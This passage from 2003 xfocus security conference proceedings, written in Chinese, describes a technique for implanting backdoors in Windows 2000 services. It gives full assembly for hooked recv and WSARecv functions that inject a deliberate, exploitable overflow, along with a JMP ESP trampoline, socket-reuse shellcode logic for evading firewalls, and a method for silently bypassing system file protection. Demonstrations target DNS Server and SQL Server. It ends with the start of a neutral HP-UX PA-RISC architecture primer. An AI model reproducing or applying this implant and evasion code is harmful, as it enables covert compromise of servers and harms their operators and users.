c) 可通用化的利用i. 检测溢出和溢出返回地址

判断溢出很简单,只需要利用 RECV的返回接收字节数字和给定的 LEN进行比较就可以,当然也可以利用溢出地址的编码检查是否是自己特定的溢出。

另外就是扩展了足够的 BUF1以后,SHELLCODE 完全就可以放在 BUF1中而无需覆盖 EBP下面的内容了,这样就为有效的线程安全返回提供了条件。因为一个我们的 SHELLCODE 完成任务以后,这个溢出线程的处理是非常麻烦的,如果中断掉,对有些应用则会引起异常,如 DNS SERVER等就不会工

http://www.xfocus.org , http://www.xfocus.net 第 79页 共 218页

Page 80: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

作,而有些这会中断和记录下来,最理想的方式是保存环境完全又返回到原来应该返回点继续执行。

ii. JMP ESP 代码我们在附加函数的尾部提供一个如下的汇编代码的机器代码:SUB ESP,XXXXJMP ESP(当然为了隐蔽,可以生成其他等效功能的变形代码,如MOV EAX,ESP,JMP EAX)然后在植入的时候自动计算这个附加代码的地址,替换掉 RECVADD的程序代码中,在运行检测到溢出的时候,就将这个地址替换到有效的返回地址上,实现溢出的 SHELLCODE的跳转。

iii. 其他需要利用的环境变量的保护同时考虑到如下因素,因在替代函数中提供对如下变量的保护

SOCKET,便于 SOCKET 复用 RETADDR:便于 SHELLCODE 完成以后,线程实现安全的返回 本函数调用传入的参数大小,以实现 SHELLCODE中对 ESP/EBP计算安全返回

执行前保存函数体外的需要保存的积存器,以实现安全返回

那么下面就是一个考虑了以上情况的对 RECV 进行转发函数的汇编代码DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags){_asm{

mov eax,[esp+0cH] //检查 LEN是否是大于 1000H的应用,cmp eax,1000H //这样的应用我们按 1000H做溢出点jg recv //可能会破坏正常的应用sub esp,119ch //扩展堆栈到定好的溢出点mov eax,[esp+11a0h] //保存 SC 备 SHELLCODE使用mov [esp],eaxmov eax,[esp+119ch] //保存返回地址供 SHELLCODE 执行完mov [esp+4],eax //以后进行返回mov dword ptr [esp+8],10h //保存压入参数的占用堆栈的大小push esi //保护外围积存器push edipush ecxpush edxmov eax, [esp+11Bch]push eaxmov esi, [esp+11Bch]push 11A9h //替换成可溢出的值lea ecx, [esp+24H]pushecxmov eax, [esp+11Bch]pusheax

http://www.xfocus.org , http://www.xfocus.net 第 80页 共 218页

Page 81: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

call recv //recv 转发test eax, eaxjle loc_2cmp eax, esi //判断是否接收到包jle loc_1mov edx,[esp+11Ach]xor eax,eaxdec eaxcmp edx,0x90909090 //比较规定的溢出地址值jne loc_2mov eax,1010101H //提供 JMP ESP的地址mov [esp+11AcH],eax;jmp loc_2

loc_1: //BUF1的内容拷贝回 BUFmov ecx, eaxmov edi, [esp+11B4h]mov edx, ecxlea esi, [esp+1cH]shr ecx, 2repe movsdmov ecx, edxand ecx, 3repe movsb

loc_2:pop edx //弹出保护的外围积存器pop ecxpop edipop esiadd esp,119chretn 10h //如果发生溢出则会到指定的程序点上执行

}}JMPCODE:

_asm{sub esp.0x1400jmp esp

}

2.4 木马(后门)的在W2K下的实现我们已经有了一个完备的转发函数来植入通用化的溢出漏洞了,那么如何这个后门和木马如何植入应用呢?下面我们就来考虑这个方面的问题:d) 整个植入代码的结构如下

[RECVADD地址] : http://www.xfocus.org , http://www.xfocus.net 第 81页 共 218页

Page 82: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

存放真正的 RECVADD 函数的地址,这样替换对方的 JMP [RECV]的[RECV]地址值为这个地址值就能达到实际的 JMP [RECV]的效果[RECVADD 函数]:真正的执行代码区[RECV 跳 转 函 数 ]:保 存真正的 RECV 的跳 转地址 JMP [RECV]和 CALL

[RECV]的地址,使得程序可以转发真正的调用[JMP ESP 代码]:存放溢出执行时的 JMP ESP 执行代码

e) PE文件节点分析和代码的附加 分析节接点空间是否有足够的位置放置植入的代码 在导入代码节和执行代码节的头部里找到对应的需要替换的函数(此例为 RECV 函数的地址)1. 通过 GetProcAddress获取 recv的地址,在进程空间的导入代码节里

查找对应地址的导入地址 在代码区内找到 jmp [recv]或 call [recv]的地址,记录下来 停止服务,以写打开文件 替换 jmp [recv]或 call [recv]成 jmp [recvadd]或 call [recvadd] 附加自己的代码

f) 附加代码的自动计算和替换涉及到自动计算的地方有如下几处

RECVADD 函数本身的位置RECV 函数的真正位置的计算和替换JMP ESP 代码的位置计算和替换

g) 调用函数分析和导入表的替换存在两种调用形式,程序需要分别分析和处理

i. JMP [FUN]的替换进程在调用 FUN的时候,是 CALL [FUN],[FUN]为 JMP [FUN]的地址,这里面的 [FUN]中才为真正的 FUN的导入表中的对应函数的地址这个只需要替换 JMP [FUN]就可以达到对应用的所有调用进行替换的目的

ii. CALL [FUN]的替换进程在调用 FUN的时候,是 CALL [FUN],[FUN]为 FUN的导入表中的对应函数的地址这个需要替换所有的 CALL [FUN]才能达到对应用的所有调用进行替换的目的

第三节 通用的远程溢出的 SHELLCODE

3.1 函数定位处理先通过对内存的搜索获得 GetProcAddress的地址,来加载需要使用的 API。这个都是属于通用的技巧了。

http://www.xfocus.org , http://www.xfocus.net 第 82页 共 218页

Page 83: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

3.2 通用的 SOCKET复用这里讨论的 SOCKET 复用是在W2K 环境下的,针对阻塞式 SOCKET 情况下的。a) SOCKET 复用的意义

i. 服务器端无需开端口,绕过端口检查ii. 使用服务本身的端口进行通讯,被动直接使用客户端的 SOCKET,可以

有效的绕过防火墙b) 基本思路

i. 获得有效的 SOCKET描述符可以通过 SOCKET 从某个值递增,然后通过 getpeername判断是否是一个 SOCKET和对应是否是自己的 IP地址的 SOCKET

ii. 判断关联的 SOCKET描述符的进程在获得 SOCKET描述符存在的问题是,由于溢出是在代码执行返回时才掌握控制权,这个时候很可能 SOCKET已被正常的关闭掉了。所以可能需要我们连 2个上去,一个发出溢出包,一个处于对方 RECV停等的状态,如果第一个 SOCKET已经关闭的话,可以判断第二个来进行复用处理,这就需要 SHELLCODE做如下的判断:

1.有可能第一个也没被关闭,那么需要有效判断出第二个来,只要通过检查线程的 ID是否和当前的匹配就可以

2.使用第二个 SOCKET以前,需要先悬挂起这个 SOCKET 处理的线程,否则无法正常使用 SOCKET

在阻塞式情况下,RECV的代码会停留在 NtWaitForSingleObject的代码上,那么我们通过判断线程环境上下文的 EIP地址就基本可以获得大致的对应的线程,但是也有可能有其他的线程处于同一位置,那么我们可以搜索有效的线程的堆栈空间是否存在对应的 SOCKET描述符就可以基本确定了。下面就是基本实现的 C 代码:cid = GetCurrentThreadIdadd();pid = GetCurrentProcessIdadd();for(hid=0x50;hid<0x10000;hid=hid+4) //SOCKET描述符从 0X50 开始{

num= sizeof(addr);if(getpeername ((SOCKET)hid,&addr,&num)==0){

if(*(DWORD *)(addr.sa_data+2)==0x3c00a8c0)//对应 IP{

//发送字节看是否是已经关闭的 SOCKETlBytesRead = send((SOCKET)hid,strcmd,4,0);

if(lBytesRead>0){

for(aid = 0;aid<0x10000;aid=aid+4){

if(cid!=aid)

http://www.xfocus.org , http://www.xfocus.net 第 83页 共 218页

Page 84: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

{OpenThreadadd(THREAD_ALL_ACCESS,FALSE,aid);if(p1!=NULL){

isok=NtQueryInformationThreadadd(p1,0,prothrinfo,0x1c,&num);if(isok==0){

if(*(DWORD *)(prothrinfo+0x8)==pid){ SuspendThreadadd(p1);context.ContextFlags = CONTEXT_FULL;GetThreadContextadd(p1,&context);if(context.Eip==((DWORD)NtWaitForSingleObjectadd+11)){

eip = context.Esp;for(di=0x80;di<0x170;di=di+4){

if(*(DWORD *)(eip+di)==(SOCKET)hid){

//下面就可以正常处理了}//不是的则恢复线程的执行和循环

c) 但是以上对线程的判断方法只对阻塞式的 SOCKET有效,对于非阻塞式的SOCKET 却无法判断,但对于函数替换这种方式植入的溢出来说,非常幸运的是:可以确保这个 SOCKET在溢出控制的时候肯定不会被关闭,因此我们完全可以只通用 SOCKET的 getpeername 函数尝试就可以判断这个 SOCKET描述符了,当然我的例子代码采用了由植入程序保存这个环境变量的方法来复用这个 SOCKET

3.3 对环境变量的正常引用其实我们把三个保存的环境变量都放在溢出的 BUF1 之前的,相对于跳转执行的SUB ESP,XXX,JMP ESP 后,这个地址是不固定的,可能随着被溢出函数在返回之前的 RETN XXX的XXX而变化,因此要用一个固定的 ESP+XXX来引用这几个保存的环境变量,需要我们更该对应的 SUB ESP,XXX,JMP ESP的XXX大小,幸运的是,对于每个固定的替换 API这个是固定的,因此我们完全可以针对每一个替换的函数写固定的 XXX在内,因为对不同的替换函数其替换函数的内容也会变化。我们的溢出植入只对函数调用级别的通用,也就是说无论应用 A和 B 运行在不同的版本的系统上,只要调用了对应的函数 C,则对 A和 B的 C 函数的溢出植入都是通用的。

http://www.xfocus.org , http://www.xfocus.net 第 84页 共 218页

Page 85: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

3.4 线程完毕后的处理思考d) 删除或终止线程这样虽然简单,但是容易引起异常和记录。

e) 保存线程环境返回原调用点那么需要保存和计算如下的内容:保存溢出 SHELLCODE 执行前的积存器内容保存需要返回的地址值计算恢复后的 ESP/EBP,好放入对应的地址值。最大的考虑则是:在恢复积存器后,还需要使用积存器读取返回地址值并放入返回前的 ESP和读取函数在溢出前提供的函数参数大小使得计算正常的ESP,因此对于积存器的保护需要一点技巧。

f) 线程安全返回的代码sub esp,0x13fc //先开辟一个空间,保护几个特殊的积存器push ebppush ecx //因为要二次用到,所以在此处保存 eax.ecxpush eaxsub esp,xxx //这儿开辟的堆栈空间才是真正的 SHELLCODE使用的变量存放的

空间 push ebx 保存其他的积存器 push ecx push edx push esi push edi。。。。。。。。。。。。。。。。SHELLCODE 功能代码执行完毕以后实现县城的安全返回:

TerminateProcess (ProcessInformation.hProcess,0); //杀掉打开的 CMD 进程_asm{mov eax,k //K是溢出函数传入的参数长度mov ebx,retaddr //返回地址mov ecx,28FCH //ESP 回复到开辟的地方add ecx,eax //考虑溢出函数传入的参数长度的 ESP地址sub ecx,4 //回到应该放置 RET的 ESP 处mov [esp+ecx],ebx //存放真正的返回地址pop edi //恢复通用的积存器pop esipop edxpop ecxpop ebxpop edipop esipop ebxadd esp,4e4h //ESP减少 SHELLCODE使用的堆栈空间mov [esp+23F8H],eax //写入 K的值,在恢复积存器以后就可以无需再

http://www.xfocus.org , http://www.xfocus.net 第 85页 共 218页

Page 86: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

使用其他积存器来使用了pop ebp //弹出几个保护的特殊积存器pop eaxpop ecx add esp,23ECH //到存放 K的堆栈上,这样就可以用[ESP]来引用这个值

而无需使用其他积存器,导致已恢复的积存器又被破坏掉add esp,[esp] //利用[ESP]引用K 实现 ESP+K,来计算真正的 ESP 值sub esp,4 //提前 4 字节,也就是 RETADDR的地方。利用 RET 进行

返回ret}

3.5 演示远程 SCOKET复用 SHELLCODE溢出 TEST服务

第四节 阐发

4.1 绕过WIN2K的系统文件完整性保护机制(SFP)我们的后门和木马主要的目标是修改运行具备特权的服务和系统文件,但是大家都知道在WIN2K以后,WINDOWS都增加了 SFP 机制来保护系统文件的完整性。那么只有能有效的修改我们需要植入的受系统保护的文件,我们才能达到目的。网上有很多删除和更新受保护文件的方法,但是基本思路是同步删除掉备份的 \WINNT\system32\dllcache\和\WINNT\ServicePackFiles\i386\下的对应文件,但是这样会导致系统跳出一个无法正常恢复受保护文件的警告框出来,这样就会暴露我们的行踪。

其实修改受 SFP 保护的文件又不引起这个警告框的方法非常简单,就是:同时独占打开这两个备份的文件,然后再修改受系统保护的文件,修改完毕之后,过一段时候再关闭独占打开这两个备份的文件,这样文件就可以被正常修改而已不会引发任何的提示。当然,还有很多其他的方法来达到这个目的,如修改对应文件的校验标志等,

不过这种方法是最简单和有效的。a) 演示删除和更改 WIN2K的受保护的系统文件的方法

4.2 通用化测试以上就是一个基本溢出植入型木马实现的原形,那么我们最后用实际的测试

http://www.xfocus.org , http://www.xfocus.net 第 86页 共 218页

Page 87: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

来验证一下我们的这个原型是否通用和达到我们预期的目的。我们来做 2个实际应用和服务的植入溢出的实验和通用这个通用化溢出实现我们的远程控制。b) 演示DNS SERVER植入 recv 转发的远程溢出漏洞和控制制约条件: 使用和植入溢出 TEST服务一样的 SHELLCODE和客户端

使用和植入溢出 TEST服务一样的木马执行程序和 RECV的转发函数 唯一不同是给定的木马执行程序的参数(主要指明需要植入溢出的程序等

信息)1.演示植入前发送过大包失败2.演示植入后,程序在发送包已经到达我们的转发程序3.演示不影响正常的应用4.演示溢出后的控制和正常的返回,服务继续可用和可继续溢出利用

c) WSARecv 函数的转发的溢出实现和演示那么对于 RECV 转发溢出大家很熟悉了,但这是否限制了我们的应用呢?因为多数的应用是用WSARECV 函数来实现的,其实我们先就有一个结论是:我们的溢出植入只对函数调用级别的通用,也就是说无论应用 A和 B运行在

不同的版本的系统上,只要调用了对应的函数 C,则对A和 B的C函数的溢出植入都是通用的。针对不同的函数,只要这个函数形如 FUN(BUF,LEN),LEN是指定 BUF长度的函数,其实都可以被植入溢出漏洞的。

那么我们就来实现一下对WSARECV的溢出植入和控制,例子就是大家熟悉的 SQL SERVER的 SOCKET。

i. 通用的WSARECV的替换函数int WINAPI WSARecvadd(SOCKET s,LPWSABUF buf,DWORD len,LPDWORD num,LPDWORD flags,LPWSAOVERLAPPED lpOverlapped,LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionROUTINE){

_asm{mov eax,[esp+08H]mov eax,[eax]cmp eax,1000Hjg WSARecv //判断是否允许在空间范围内溢出sub esp,119ch //扩展堆栈mov eax,[esp+11a0h] //保护环境变量mov [esp],eaxmov eax,[esp+119ch]mov [esp+4],eaxmov dword ptr [esp+8],1Ch push ebx //保护积存器push esipush edimov ebx, [esp+11B0h] //保留 WSABUF中长度和地址的参数mov esi, [ebx+4]mov eax, [ebx]add esi,eax

http://www.xfocus.org , http://www.xfocus.net 第 87页 共 218页

Page 88: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

lea edi, [esp+18H] //保存 WSABUF的 BUF到 BUF1中后内容,避免被溢出覆盖后不能恢复

add edi,eaxmov ecx,1194Hsub ecx,eaxmov eax,ecxshr ecx, 2repe movsdmov ecx, eaxand ecx, 3repe movsbmov esi, [ebx+4]mov edi, [ebx]mov dword ptr [ebx],1194H //扩大 WSABUF 长度使得其能被溢

出mov eax, [esp+11c4h]pusheaxmov eax, [esp+11C4h]pusheaxmov eax, [esp+11C4h]pusheaxmov eax, [esp+11C4h]pusheaxmov eax, [esp+11C4h]push eaxpushebxmov eax, [esp+11C4h]pusheaxcall WSARecv //转发到WSARECVpushecx //保存 WSARECV 返回的有意义的三个积存器pusheaxpushedxmov edx,[esi+1190H] //获得WSABUF的 BUF,如果溢出这写入

的返回地址值mov ecx,[esp+11b4h] //获得如果溢出,则需要恢复回去的内容mov [esi+1190H],ecx //恢复到 BUF中mov ecx,[esp+1ch] //读取保留的返回地址mov [esp+11b4h],ecx //恢复到 ESP对应的返回地址上,避免被

溢出覆盖,因先保存 WSABUF的时候这个地址已经被覆盖了mov [ebx],edi //写入WSABUF正常的 LEN 值test eax, eax //检查是否接收到包jne loc_4mov ebx,[esp+11C4H] //获得收到包的大小mov ecx,[ebx]cmp ecx, edi //检查是否溢出jle loc_4

http://www.xfocus.org , http://www.xfocus.net 第 88页 共 218页

Page 89: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

cmp edx,0x90909090 //检查溢出传来的返回地址是否和我们规定的一致

jne loc_4xor ebx,ebxmov ecx,edilea edi, [esp+24H] //拷贝 SHELLCODE到我们的 BUF1,同时恢复

WSABUF中其他变量被覆盖的值,避免以后 SHELLCODE 返回后导致异常。loc_1:

cmp ebx,1190Hjge loc_3cmp ebx,ecxjge loc_2

mov eax,[esi+ebx]mov [edi+ebx],eaxadd ebx,4jmp loc_1

loc_2:mov edx,[edi+ebx]

mov eax,[esi+ebx]mov [edi+ebx],eaxmov [esi+ebx],ebxadd ebx,4jmp loc_1

loc_3:mov ebx,1010101H //写入 JMP ESP的地址,1010101H会

在植入时候通过计算进行正确的替换mov [esp+11B4H],ebx;

loc_4:pop edxpop eaxpop ecxpop edipop esipop ebxadd esp,119cHretn 1ch

}}

ii. 重载异步 IO的 SOCKET的内存置换的问题这个替代函数比 RECV 函数要复杂一些,因为这个 SOCKET是一个重载异步IO的 SOCKET的,在 RECV的时候,其内存是不允许置换的,否则这个重载异步 IO的 SOCKET就会成为一个非重载异步 IO的 SOCKET,这样就会影响正常的应用。同时对执行 WSARECV 后被修改的积存器的保护也非常重要。而且返回的值不同,其引用的地址也不同。因此采用了使用原 BUF但扩大LEN导致溢出的方法,为了正常返回,则将其可能被溢出覆盖的内容复制到BUF1上,如果真的发生溢出以后,再将溢出内容拷贝到 BUF1,把 BUF1的

http://www.xfocus.org , http://www.xfocus.net 第 89页 共 218页

Page 90: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

保存内存拷贝到被溢出的 BUF上,保证程序的正常运行。iii. 演示 SQL SERVER植入WSARecv 转发的远程溢出漏洞和控制制约条件: 使用和植入溢出 TEST服务一样的 SHELLCODE和客户端 使用和植入溢出 TEST服务一样的木马执行程序,只修改 WSARECV的转发

函数体 给定的木马执行程序的参数(主要指明需要植入溢出的程序等信息)1.演示植入前发送过大包失败2.演示植入后,程序在发送包已经到达我们的转发程序3.演示不影响正常的应用5.演示溢出后的控制和正常的返回,服务继续可用和可继续溢出利用

d) 只修改内存影象避免文件完整性检查最后的讨论是,同样,这样的原理可以只利用到对只修改内存影象来到达溢出植入的目的,这样就可以避免文件完整性检查,不过当服务重启以后这个后门和木马则不可利用了。

http://www.xfocus.org , http://www.xfocus.net 第 90页 共 218页

Page 91: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第三篇 HP-UX溢出程序编写作者:杨冀龙 < [email protected] >时间:2002-12

第一节 HP-UX简介

HP UNIX 运行在 HP自己的硬件设备上,通常是 HP9000系列机上,它们使用了 PA-RISC芯片。在HP9000上运行的系统常见的有HP-UX10.20、HP-UX11.0、HP-UX11.11。

PA芯片主要有 3个版本:PA1.0、PA1.1、PA2.0。前两者是 32位芯片;PA2.0是 64位,并且兼容前两者。实际上目前见到的系统基本使用的都是 PA2.0芯片。对应 HP-UX也有 32位和 64位之分,可以通过系统命令”uname –a” 看到,64位系统

在版本信息前有一个“B“符号标识,如: “HP-UX Test B.11.11 U 9000/804”。现在最常见的系统是 B11.11和 B11.0。

2000年 HP-UX已经推出了 IA-64版本,目前版本为 B11.20和 B11.22,新版不再支持PA芯片,将来的趋势是 HP 将逐渐放弃 PA芯片,全面转向 IA-64。但 IA-64版很少有用户买,在未来的几年内仍然以 B11.11和 B11.0 两个版本为主。

本文关心的主要是运行在 PA-RISC上的 11.11和 11.0 两个版本,包括 64位和 32位版本。对于 64位系统 Kernel是 64位,上面可以运行 64位程序同时兼容 32位程序,运行 32位程序时使用的是模拟 32位环境。操作系统无论是 64位还是 32位系统自带的命令几乎全是 32位程序,所以本文主要针对 32位系统运行时体系结构(Runtime Architecture)。

http://www.xfocus.org , http://www.xfocus.net 第 91页 共 218页

Page 92: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第二节 PA芯片简介

2.1 内存空间范围PA内存地址为 32位,表达范围为:0x0-0xFFFFFFFF,在这范围中内存空间被分为 4

个段,各段情况如下:空间范围 名称 权限 内容

0x0 - 0x3FFFFFFF Text段 可读,可执行,不可写

存放程序代码及只读数据0x40000000-0x7FFFFFFF Data段 可读,可写,可执

行数据、重定位表、堆栈等

0x80000000-0xBFFFFFFF 共享段 可读,可执行 动态链接库及共享内存区0xC0000000-0xFFFFFFFF 系统代 码

段可读,可执行 操作系统代码

其中共享段和系统代码段共同称为系统段。DATA段中有很多重要数据并且都可写,实际溢出的发生和利用都在DATA段中进行。

2.2 寄存器PA寄存器有通用寄存器、浮点运算寄存器、空间寄存器、控制寄存器。通常我们只用了

解通用寄存器就够了,但为了调试程序及对系统程序进行逆向工程分析 BUG也需要了解其他寄存器的简单知识。

2.2.1通用寄存器通用寄存器有 32个,每个为 32位,记作 grX或 rX。相关使用约定如下:名称 别名 使用约定

GR0 永远为 0,写入的数据都会丢失。GR1 ADDIL 指令默认的目标寄存器、有的函数过程中会被覆盖、caller-

saves[1]GR2 RP 返回地址指针。(非常重要,栈溢出就是通过修改它来执行我们的代

码)GR3-GR18

自由使用、callee-saves[2]

http://www.xfocus.org , http://www.xfocus.net 第 92页 共 218页

Page 93: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

GR19 共享库调用时的链接指针,调用外部库时需要指向一个特定的地址。Caller-saves

GR20-GR22

自由使用、caller-saves

GR23 Arg3 函数调用时的参数寄存器、函数调用的第 4个参数存放在该寄存器中。

GR24 Arg2 函数调用时的参数寄存器、函数调用的第 3个参数存放在该寄存器中。

GR25 Arg1 函数调用时的参数寄存器、函数调用的第 2个参数存放在该寄存器中。

GR26 Arg0 函数调用时的参数寄存器、函数调用的第 1个参数存放在该寄存器中。

GR27 DP 全局数据指针,对数据的操作都以它为基准操作。在程序运行期间通常该值不变。Stub-Save-Restor[3]

GR28 RET0 函数返回值 1GR29 RET1、

SL函数返回值 2、也作为静态链接寄存器。

GR30 SP 函数栈指针,非常重要。GR31 Minicode[4]返回指针,通常可以自由使用。

[1]. Caller-saves:指程序调用其他函数后不能保证该值不会被修改,所以调用者如果想保留该值需要自己在调用其他函数前先保存该值。

[2]. Callee-saves: 和[1]对应,如果被调用的函数在运行期间会修改这些寄存器的值就需要开始函数开始处保存这些寄存器,并在退出前恢复。

[3]. Stub-save-restor:当引用外部函数如 libc时程序通过特定的代码(Stub)完成转移到共享空间段的操作和数据指针修改操作及返回。在这过程中这些代码需要保存一些特定的寄存器值并在返回时恢复。

[4]. Millicode: 微指令代码,微指令是比机器指令更加底层的指令系统,PA有一个微指令仿真系统,可以直接使用微指令编程。我们并不关心它,但作为系统体系还是提一下。

2.2.2 空间寄存器内存空间范围被分为 4个空间段,相应需要空间寄存器指向他们,本质上 PA物理内存

使用分页管理来虚拟整个 32位空间地址。相应的空间寄存器其时就是执向物理内存分页表的指针。名称 别名 用途

SR0 通常和 SR5 相同指向数据段,但调用共享库函数时存放返回数据空间。

SR1 SARG、SREG

函数调用时指定参数空间,返回时指向返回值空间,通常都和SR5 相同。

http://www.xfocus.org , http://www.xfocus.net 第 93页 共 218页

Page 94: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

SR2、SR3

未定义SR4 指向代码空间段。Stub-Save-Restor。SR5 指向数据空间段。应用程序不可修改。SR6、SR7

他们都指向系统空间段(共享段和系统代码段)。应用程序不可修改。

2.2.3 其他寄存器控制寄存器有 25个都是 32位,记作 CR0、CR8-CR32。通常我们并不关心他们,其中需

要了解的有 :CR11(SAR)移位计数寄存器、CR22(psw)状态寄存器、CR17(PCSQH)当前指令的空间寄存器、CR18(PCOQH,在GDB中的$PC就是指这个寄存器)当前指令的空间偏移。

2.3 常用指令集PA为 RISC 指令集,每条指令 32位,指令地址都必须 4 字节对齐。我们需要了解的指

令主要有数据操作指令和流程分支指令。

2.3.1 分支指令 无条件局部转移:B、BLR、BV。他们只能在当前空间内跳转。常见用法:B target 跳转到目标地。B,L target, t 跳转到目标地址,并且将返回地址放入寄存器 r。伪指令 BL 其实就是 B,LBV x(r) 跳转到(x<<3) * r 处。BLR x,t 跳转到 x<<3 + 8 + PCOQH。 无条件扩展转移:BE、BVE。他们能够完成跨空间跳转。常见用法:BE wd (sr,r) 跳转到 sr 指定的空间,地址为寄存器 r加上wd。BE,L wd(sr,r) 和上一条一样,但将返回地址放入 R31,返回空间放入 SR0。伪指令 BLE 其实就是 BE,L。 条件转移: ADDB 加法运算,并在运算完成后跳转到目标地址。 ADDIB 加上一个立即数后跳转。 BB 当某位为 1时跳转。 http://www.xfocus.org , http://www.xfocus.net 第 94页 共 218页

Page 95: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

CMPB 满足某种条件时跳转。对应还有 CMIB。 MOVB 搬运数据后跳转,对应还有MOVIB。

函数调用和返回是通过分支指令实现的,平时我们见到的 call和 return 其实都是伪指令。

2.3.2 延时插槽( Delay Slot )

和很多 RISC系统一样 PA的分支指令都有一个延时问题,考察:1. B,L sub_test, %r312. Copy %r31,%rp3. Copy %r28,%r26其执行流程为: 执行到 1 处发现跳转,于是将返回地址放入%r31,但返回地址为地址 3。 程序并没有立即跳转,而是紧接着执行地址 2 处的指令将返回地址拷贝到了寄存器

RP。然后跳转到 sub_test 处执行。 函数 sub_test 返回,程序从地址 3 处开始执行将函数返回值拷贝到寄存器%r26。当然也可以禁用延时插槽机制,用法是在分支指令的修饰中加一个 n,如:B,n 0x2614 <main+120>

2.3.3 数据操作指令数据操作主要就是加减乘除、数据移动、移位等。常用的有:LDB 从内存加载一字节数据到寄存器。STB 将一个字节从寄存器存储到内存中。对应还有 32位WORD操作 LDW/STW、64位DOUBLE WORD操作 LDD/STD。LDIL 加载一个 21位的立即数到寄存器的高 21位。LDO 加载一个地址到寄存器中。还有ADD、ADDI、COPY等相关指令。数据操作指令基本格式是:指令 源 1, [源 2] ,目标如:LDIL 100,%r1 %r1=100ADDI 30,%r1,%r3 %r3=%r1+30COPY %r1,%r3 %r3=%r1LDW -50(%sr0,%sp), %r10 将变量放入%r10中。

http://www.xfocus.org , http://www.xfocus.net 第 95页 共 218页

Page 96: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

平时在反汇编中注意这两句:STW %rp, -20(%sr0,%sp) 将返回地址寄存器存放到栈中。STW,m %r3, 0xC0(%sr0,%sp) 将%r3 存入栈中,同时将栈指针%sp加 0xC0(注意那个m)。如果想将一个 32位数存放到寄存器中需要两条指令完成:LDIL L’var, %r1LDO R’var(%r1), %r3其中 L’var 表示取 var的高 21为作为一个数字。R’表示低 11位。

2.4 一个简单的C和汇编的对照代码简单的 c 程序如下:#include<stdio.h>int x = 0;const int y = 2;static int z = 5;const char str[]=" %i \n";int main(void){ int n =0; n = x+y; n = n * z; printf(str,n); return n;}

使用 cc –S 后产生的汇编程序:.LEVEL 2.0N.SPACE $TEXT$,SORT=8.SUBSPA$CODE$,QUAD=0,ALIGN=4,ACCESS=0x2c,CODE_ONLY,SORT=24

main.PROC.CALLINFO CALLER,FRAME=80,SAVE_RP,ORDERING_AWARE

.ENTRY STW %r2,-20(%r30) ;offset 0x0 LDO 128(%r30),%r30 ;offset 0x4 STW %r0,-112(%r30) ;offset 0x8 ADDIL LR'x-$global$,%r27,%r1 ;offset 0xc LDW RR'x-$global$(%r1),%r31 ;offset 0x10 ADDIL LR'y-$global$,%r27,%r1 ;offset 0x14 LDW RR'y-$global$(%r1),%r19 ;offset 0x18 ADD %r31,%r19,%r20 ;offset 0x1c STW %r20,-112(%r30) ;offset 0x20

